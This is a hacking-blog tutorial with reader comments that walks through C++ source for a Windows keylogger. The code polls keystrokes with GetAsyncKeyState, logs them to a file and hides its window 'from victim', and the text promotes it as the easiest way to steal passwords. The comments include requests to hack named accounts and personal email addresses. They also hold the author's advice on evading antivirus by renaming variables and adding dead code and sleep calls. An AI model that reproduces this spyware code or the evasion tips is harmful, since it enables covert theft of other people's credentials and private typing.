Hey friends, today i am going to teach you how to code keylogger in C++ Stepwise. Most of us aware with the functionality of keyloggers, if not let me give you brief information what are keyloggers and why they are so important to Hackers.
![]() |
| Keylogger Code in C++ |
What is Keylogger ?
Keylogger as the word itself suggest logging or capturing keys or key strokes. Technically, Keylogger is a software tool or program which is used to capture key strokes that user presses in real time and further processing depends on nature of keylogger that it is a physical keylogger or remote keylogger and the technique of capturing key strokes is called keylogging. And it is really hard to believe but keylogging is the easiest method to hack anybody's password, what you need is just a good keylogger, good crypter and knowledge about spreading your keylogger program. Thousands of keyloggers are available in the web world for free but its really irony that all of them are either detectable by antivirus or owner has attached virus to them to hack its users. So its obvious, we need to be cautious while using freely available keyloggers or cracked version of paid keyloggers. But why to try to become a prey to other hackers when designing of new of your own is damn easy. Most novice hackers or simply called script kiddie's think that coding a good keylogger is very tedious and hard task but believe me after reading my this tutorial, it will become a funny task for you guys to code a keylogger. Today i will teach you the complete inward and outward logic of keylogger.
I have divided coding of keylogger in few parts to make it easier for Hackingloops users to understand it properly and if need writing your own logic for different parts if you think my logic is not optimized. So friends lets start learning how to code keylogger in C++ stepwise. As we all know( explained above) that keyloggers capture keystrokes, so there can be several methods to capture the key like capturing the keyboard API Input and output, such keyloggers called API based keyloggers or simply capturing the keys after it gets decoded by your OS ( hardware keyboard sends instructions to OS drivers, which decodes the every key pressed on keyboard into useful alphabets). Today i will teaching you later one. So lets start friends..
Note : You can use Borland C++ compiler or Code blocks C++ compiler for coding the stuff, i usually prefer DEV C++ i.e. Borland C++ compiler.
Now open any of your compilers and create a new project or simply open a text file and name is as anything.cpp ( means whatever you wish).
So lets start coding:
Step 1 : Declaring header directives to include the standard functions
#include <iostream>
using namespace std; //used to avoid the compilation errors because of redefinition of variables.
#include <windows.h>
#include<winuser.h>
Right now we only need these three header directives and these are mandatory.
Step 2 : Declaring global calls :
int SaveLogs (int key_stroke, char *file);void Stealth(); //Declare stealth function to make you keylogger hidden.
Step 3 : Main Function ( mandatory field, this executes the complete code and separate functions or classes).
int main()
{
Stealth(); // This will call the stealth function.
char i; //Here we declare 'i' from the type 'char'
while (1) // Here we say 'while (1)' execute the code.
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
SaveLogs (i,"MYLOGS.txt"); // This will send the value of 'i' and "MYLOGS.txt" to our SaveLogs function.
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
/************************************Seperator********/
Step 4 : Writing capturing keys logic
int SaveLogs (int key_stroke, char *file) // Here we define our SaveLogs function.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/************************************Seperator********/
Step 5 : Stealth function
This part of code will help you to hide your keylogger from victim and kept the program window hidden.
This part of code will help you to hide your keylogger from victim and kept the program window hidden.
void Stealth(){HWND Stealth;AllocConsole();Stealth = FindWindowA("ConsoleWindowClass", NULL);ShowWindow(Stealth,0);}
Step 6 : Email Function
:P i will explain it later...
Now compile your code and that will generate one binary file or exe file :P that is your keylogger. And all your logs will
I hope you all have enjoyed the article. Step 6 is not disclosed because i want to explain the difference between physical keylogger and remote keylogger. So guys, now u might got this that this is a Physical keylogger. You can only view data on same machine on which binary is running.
If you have any doubts please ask in form of comments.




sir i have also try this program but some error will be there and i want to ask one question that after runnig that program what we have to do next...?
i hope u will reply me as early as possible...
plss give code of remote keylogger also asap . . . .
I think your blog is truly awesome, fantastic and all of those fancy words. I’ve subscribed to your RSS-feed, and everytime you update your blog – I read the latest post ... no matter where I am. It could be on my mobile or on my computer. It doesn’t matter. Your blog simply owns. I will therefore link to it from one of my tech blogs if that’s okay with you.
sir pls post abt remote key logger also..........
please give me link to donload c++
plese give me link to download c++.
my email is amitpotdar50@gmail.com
sir plz hack this account love18 plz its a request he abused on facebook plz sir its request
my email id ":jobanjohaliya@gmail.com
plz hack this id love18 this is user of facebook he talk very abuse with me hack that acouunt lovegill18 plz
its my id :jobanjohaliya@gmail.com
sir plz hack this account vedpal2010@yahoo.in
it is very important for me.
plz help.
very informative post indeed .being enrolled in http://www.wiziq.com/course/5776-object-oriented-programming-with-c
i was looking for such articles online to assist me and your article helped me a lot. i really like that you are providing such information.
when i compile
the coding is wrong
"for(i = 8; i <= 190; i++)" ??
can anyone tell me what getasyncstate function exactly does?
good =)
visit back : http://yudha.binushacker.net
Awesome post sir!! i need to ask that what will we have to do after compiling the code? i mean how can we use that file as a key logger. looking to kind response . . . !
regards.
@ Anonymous
Please check the Keylogger article on www.ccodechamp.com
There you will know how to compile and use exe file as keylogger.
there are infinite errors
sir, i want to ask u a question....
when application window is stealth ,,then how..application will get keys from..keyboard??? window should be open,,so that ,,app. can store logs to the file...
Even i tried to create a keylogger but anti virus deleted that file by saying trojan horse.....
@Garima
Application window stealth means window will be open but it will be of only 1x1 pixel that means invisible.
@Vighanesh
You need to manipulate the variable names, need to add dead code loops, need to add sleep function to avoid antivirus detection.
@Anonymous
This is not the complete code. It just contains the important parts of the code mainly logic one's. Try to learn coding else you will remain noob in Hacking world.
how do i create an antivirus binder for a such program and hide its tracks
reply the code reasonbox@ymail.com